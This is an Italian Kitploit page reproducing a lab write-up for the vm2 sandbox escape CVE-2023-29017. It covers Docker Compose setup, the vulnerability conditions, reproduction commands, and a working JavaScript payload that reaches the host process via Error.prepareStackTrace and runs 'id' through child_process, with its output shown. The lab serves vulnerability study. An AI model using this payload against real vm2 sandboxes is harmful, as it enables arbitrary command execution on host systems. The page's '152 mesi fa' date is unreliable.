Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Node_CVE-2023-29017 — Riproduzione di Node.js vm2 CVE-2023-29017 con Docker Compose e PoC | Kitploit
Strumenti/GitHubGitHub/gunwoo105/node_cve-2023-29017
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Riproduzione di Node.js vm2 CVE-2023-29017 con Docker Compose e PoC

Vedi Repository
152 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-29017 | Esecuzione di codice remoto tramite vm2 Sandbox Escape

[WHS 4기 31반] - 김건우(@gunwoo105)

Riepilogo della vulnerabilità

vm2 è una libreria sandbox Node.js per eseguire JavaScript non affidabile in un ambiente limitato. In condizioni normali, il codice all'interno della sandbox non dovrebbe poter accedere a funzionalità sensibili come process, require, child_process di Node.js e il filesystem host.

Tuttavia, in vm2 3.9.14 e precedenti, quando si verifica un errore asincrono non gestito, l'oggetto host passato a Error.prepareStackTrace non viene gestito in modo sicuro. Un attaccante può sfruttare la catena di costruttori di questo oggetto per ottenere il costruttore Function e l'oggetto process del contesto host, e infine eseguire comandi del sistema operativo tramite child_process.

Configurazione dell'ambiente

Componenti

ComponenteVersione e impostazioni
Node.js18.15.0
vm23.9.14
Versione della patch3.9.15
Ambiente di esecuzioneDocker Compose
Utente del contenitorenode
Porta del servizio127.0.0.1:3000
Installazione pacchettinpm ci + package-lock.json

Non utilizzando un'immagine preconfezionata vulnerabile, l'immagine viene costruita direttamente dall'immagine base ufficiale di Node.js e dal codice sorgente incluso nel repository. Il Dockerfile controlla le versioni di Node.js e vm2; se le versioni non sono quelle previste, la build fallisce.

RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
FileRuolo
docker-compose.ymlDefinisce la configurazione del servizio vulnerabile e del contenitore PoC e l'ordine di esecuzione
DockerfileCostruisce le immagini del servizio vulnerabile e del PoC con multi-stage build
vulnerable/src/server.jsFornisce gli endpoint /health, /execute, /evidence
vulnerable/src/worker.jsEsegue l'input utente in vm2 in un processo separato
poc/poc.jsAutomatizza la verifica della versione, il controllo normale, l'attacco e la verifica delle prove
vulnerable/package-lock.jsonBlocca le versioni dei pacchetti incluse le dipendenze transitive

Il motivo per cui worker.js viene eseguito in un processo separato è che il PoC genera un errore asincrono non gestito. Anche se il worker termina durante l'attacco, il server web continua a funzionare e il file marker consente di verificare in modo affidabile il successo.

Condizioni di vulnerabilità

Devono essere soddisfatte tutte le seguenti condizioni:

  1. L'applicazione utilizza vm2 3.9.14 o versione inferiore.
  2. L'attaccante può controllare l'input JavaScript da eseguire.
  3. Il JavaScript viene eseguito all'interno di vm2.
  4. L'esecuzione di JavaScript asincrono è consentita.
  5. Un errore asincrono non gestito raggiunge il percorso di elaborazione della stack trace vulnerabile.
  6. Il processo Node.js che esegue vm2 ha i permessi per eseguire comandi del sistema operativo o accedere ai file.

Non tutti i servizi con vm2 installato sono automaticamente esposti ad attacchi remoti. Deve esistere una funzionalità che esegue codice controllato dall'attaccante in vm2. L'endpoint /execute di questo laboratorio implementa questo caso d'uso in modo minimale.

Il flusso dell'attacco è il seguente:

Invio di JavaScript malvagio
        │
        ▼
Generazione di un errore asincrono non gestito
        │
        ▼
Chiamata a Error.prepareStackTrace
        │
        ▼
Esposizione dell'oggetto host frames
        │
        ▼
Acquisizione del costruttore Function host
        │
        ▼
process → require → child_process
        │
        ▼
Esecuzione di comandi del sistema operativo all'interno del contenitore

Procedura di riproduzione

Build dell'immagine

docker compose build --no-cache

Build dell'immagine riuscito

Avvio del servizio vulnerabile

docker compose up -d vulnerable

Verifica dello stato del contenitore.

docker compose ps

Verifica dello stato del servizio e della versione

curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

Verifica dello stato del servizio e della versione

Esecuzione del PoC

docker compose run --rm poc
echo "exit_code=$?"

Il PoC verifica automaticamente i seguenti punti:

  1. Healthcheck del servizio vulnerabile
  2. Versioni di Node.js e vm2
  3. Esecuzione del normale JavaScript 21 * 2
  4. Verifica che il file marker non venga creato con codice normale
  5. Invio del payload CVE-2023-29017
  6. Verifica della creazione di /tmp/vm2-pwned
  7. Verifica che il contenuto del file contenga uid=
  8. Restituisce codice di uscita 0 in caso di successo, 1 in caso di fallimento

Per eseguire dalla build al PoC in un unico comando, utilizzare:

docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Verifica del file di prova

docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

Arresto dell'ambiente

docker compose down -v --rmi local --remove-orphans

5. Codice PoC

L'intero PoC è contenuto in poc/poc.js. Il payload principale è il seguente:

Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Funzionamento del codice

Ridefinizione di Error.prepareStackTrace

Error.prepareStackTrace = (error, frames) => {

L'attaccante ridefinisce la funzione che viene eseguita quando viene generata una stack trace di errore.

Acquisizione del costruttore Function host

frames.constructor.constructor

Segue la catena di costruttori dell'oggetto host frames esposto da vm2 vulnerabile per accedere al costruttore Function del contesto host.

Acquisizione dell'oggetto host process

frames.constructor.constructor('return process')();

Crea ed esegue una funzione che restituisce process dal contesto host.

Esecuzione del comando del sistema operativo

hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Carica child_process, non fornito all'interno della sandbox, ed esegue il comando Linux id.

Induzione di un errore asincrono non gestito

(async () => {}).constructor('return process')();

Fa sì che una funzione asincrona faccia riferimento a process, non disponibile nella sandbox, creando una Promise rifiutata che raggiunge il percorso di elaborazione della stack trace vulnerabile.

Risultati dell'esecuzione

Controllo normale

Il JavaScript normale viene eseguito all'interno di vm2 e restituisce 42, ma non genera prove di esecuzione di comandi del sistema operativo.

[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

Sfruttamento della vulnerabilità

Inviando il payload malevolo, si esce dalla sandbox vm2 e il comando id viene eseguito all'interno del contenitore con i permessi del processo Node.js vulnerabile.

[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

Il PoC verifica nuovamente le prove salvate e restituisce lo stato di successo.

Scarica lo strumento